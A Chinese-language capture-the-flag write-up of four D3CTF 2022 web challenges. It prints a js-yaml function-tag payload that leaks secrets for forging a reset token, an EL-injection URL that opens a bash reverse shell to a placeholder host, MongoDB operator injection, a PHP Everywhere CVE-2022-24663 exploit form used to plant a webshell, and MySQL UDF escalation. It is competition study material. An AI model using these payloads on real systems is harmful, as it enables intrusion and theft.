D3CTF2022 WriteUp
Web#
d3oj#
是一个 SYZOJ,最开始给了评测机,大家都在试评测机的问题。看了很久评测机相关代码,没发现太大的问题。后面出题人给了独立环境,没评测机了,重心重新落在 syzoj-web 上。
先是审了各种文件上传和下载的功能,发现上传 zip 包解压的 unzip 是定制的,关闭了自动链接符号链接的功能,没法用符号链接读文件了;下载功能要么判断了 ../,md5 下载直接判断了 /,NodeJS 没法用 \ 绕过,堵死。
其实最开始用 yarn audit 看了漏洞列表,但是太多了没找到一个重心。最后找到一个调用 js-yaml 的地方,用的是 .load,同时正好是存在漏洞的版本,可以执行 JS 代码,读取 process.env 中 SYZOJ Docker 部署时写入的环境变量,sign 找回密码的 JWT Token,更改 oct 的密码并登录(出题人给的提示),在题目列表中找到 flag。
其实 js-yaml 执行 JS 代码可以考虑沙箱绕过的手段,达到 RCE 的目的?后面有空试试。
下面是 WriteUp:
- js-yaml 任意代码执行 https://github.com/nodeca/js-yaml/pull/480 源码 utility.js 中用到 js-yaml load 题目数据中的 data.yml;
- 经测试无法直接 rce(require not defined),考虑直接获取 process.env.SYZOJ_WEB_SECRET_EMAIL,构造 /api/forget 产生的 jwt token,重设 oct 密码;
- 通过设置 inputFile 为返回 process.env.SYZOJ_WEB_SECRET_EMAIL 的函数,在报错信息中能够读取其值,构造的函数返回值 template 需要满足调用 template.split(‘#’).join;
- 通过 jwt.sign 获得 userId: 4(oct) 的 forget JWT Token,调用 72952651a7.d3oj-d3ctf-challenge.n3ko.co/api/forget_confirm?token=
重设密码之后登录,在题目列表中找到未公开题目,进入后根据提示,在 HTTP Response Header 中找到 flag。
data.yml:
1 | inputFile: { split: !<tag:yaml.org,2002:js/function> 'function (){ return [process.env.SYZOJ_WEB_SECRET_EMAIL] }' } |
报错得到 SYZOJ_WEB_SECRET_EMAIL:
jwt.sign:
重设密码后登录,得到 flag:
ezsql#
这道题 jar 包用 JD-GUI 反编译显示的 Provider 代码是不正确的。用 intellij Idea 反编译是正确的。
mybatis 的 SQL 语句拼接。经过搜索,发现 mybatis 支持 EL 表达式。所以就是一个 EL 表达式注入。
需要注意的是,用这种方式引号的转义会非常复杂,需要尽量避免在命令执行中使用引号,命令执行可以用 Runtime.exec(String[]) 加上 ‘’.split()
下面是 WriteUp:
注入很简单:
1 | http://d7c3b20e0b.ezsql-d3ctf-challenge.n3ko.co/vote/getDetailedVoteById?vid=0)%20union%20select 1, (select @@version), NULL, NULL, NULL where%20(1=1 |
EL 表达式注入,调用 Runtime.exec(String[]) 来 getshell
1 | http://d7c3b20e0b.ezsql-d3ctf-challenge.n3ko.co/vote/getDetailedVoteById?vid=0)%20union%20select 1, %22$%7B%22%22.getClass().forName(%22java.lang.Runtime%22).getMethod(%22exec%22,%20%22%22.split(%22%22).getClass()).invoke(%22%22.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,%20null).invoke(null,null),%22/bin/bashabc-cabcbash%20-i%20%3E%26/dev/tcp/xxx.xxx.xxx.xxx/12345%3C%261%22.split(%22abc%22)).getInputStream()%7D%22, NULL, NULL, NULL where%20(1=1 |
d3fGo#
很恶心的逆向,全部混淆了,还加了花指令。
硬着头皮逆,根据网页上随便输入内容返回的找 secret,在程序里面找到了一个 Go 的结构体定义:
其中含有 username, password, seeecret 三个成员,且都为 interface{}
在路由注册相关逻辑中,可以看到另外一个路由 /api/Admini/Login,其中用到了这个结构体
程序里面还有 primitive.M 这些 mongo-go-driver 相关的类的痕迹,猜测就是 mongodb 注入,用 { "$ne": "123" }
尝试,成功返回 Welcome back。
1 | POST /api/Admini/Login |
用 $regex
注出 seeecret,为 flag:
1 | import requests |
NewestWordPress#
根据提示,是一个 WPScan 工具扫不出来的插件有问题。既然如此,那就 Fuzz 吧。
考虑从 api.wordpress.org 拉所有插件信息,大概 54000+ 个,然后暴力枚举。
API 返回的信息里面有 slug,普遍就是在 /wp-content/plugins/ 下的目录名。
fetch_all_wp_plugins_info.py:
1 | import json |
extract_slugs.py:
1 | import json |
用 Burp Intruder Fuzz 出了 /wp-content/plugins/php-everywhere/,有个 CVE:CVE-2022-24663
按照 https://www.wordfence.com/blog/2022/02/critical-vulnerabilities-in-php-everywhere-allow-remote-code-execution/ 登录后调用 /wp-admin/admin-ajax.php 运行 [php_everywhere] shortcode。
exploit.html:
1 | <form action="http://d3wordpress.d3ctf-challenge.n3ko.co/wp-admin/admin-ajax.php" method="post"> |
写入了 Webshell,但在文件系统中找不到 flag。
经出题人提示,flag 在数据库的安装目录,发现 MySQL 虽然在 127.0.0.1:3306,但是跑在另外一个环境里面,难怪 ps aux 里面没有 MySQL,也没找到 MySQL 安装目录(也太坑了)。
上传一个 phpmyadmin,用 udf 提权方式,通过 hex 和 into outfile 将 so 文件写入 plugin 目录,在 MySQL 服务器上执行任意代码,发现 flag 在 /ff114499_i5_h3Re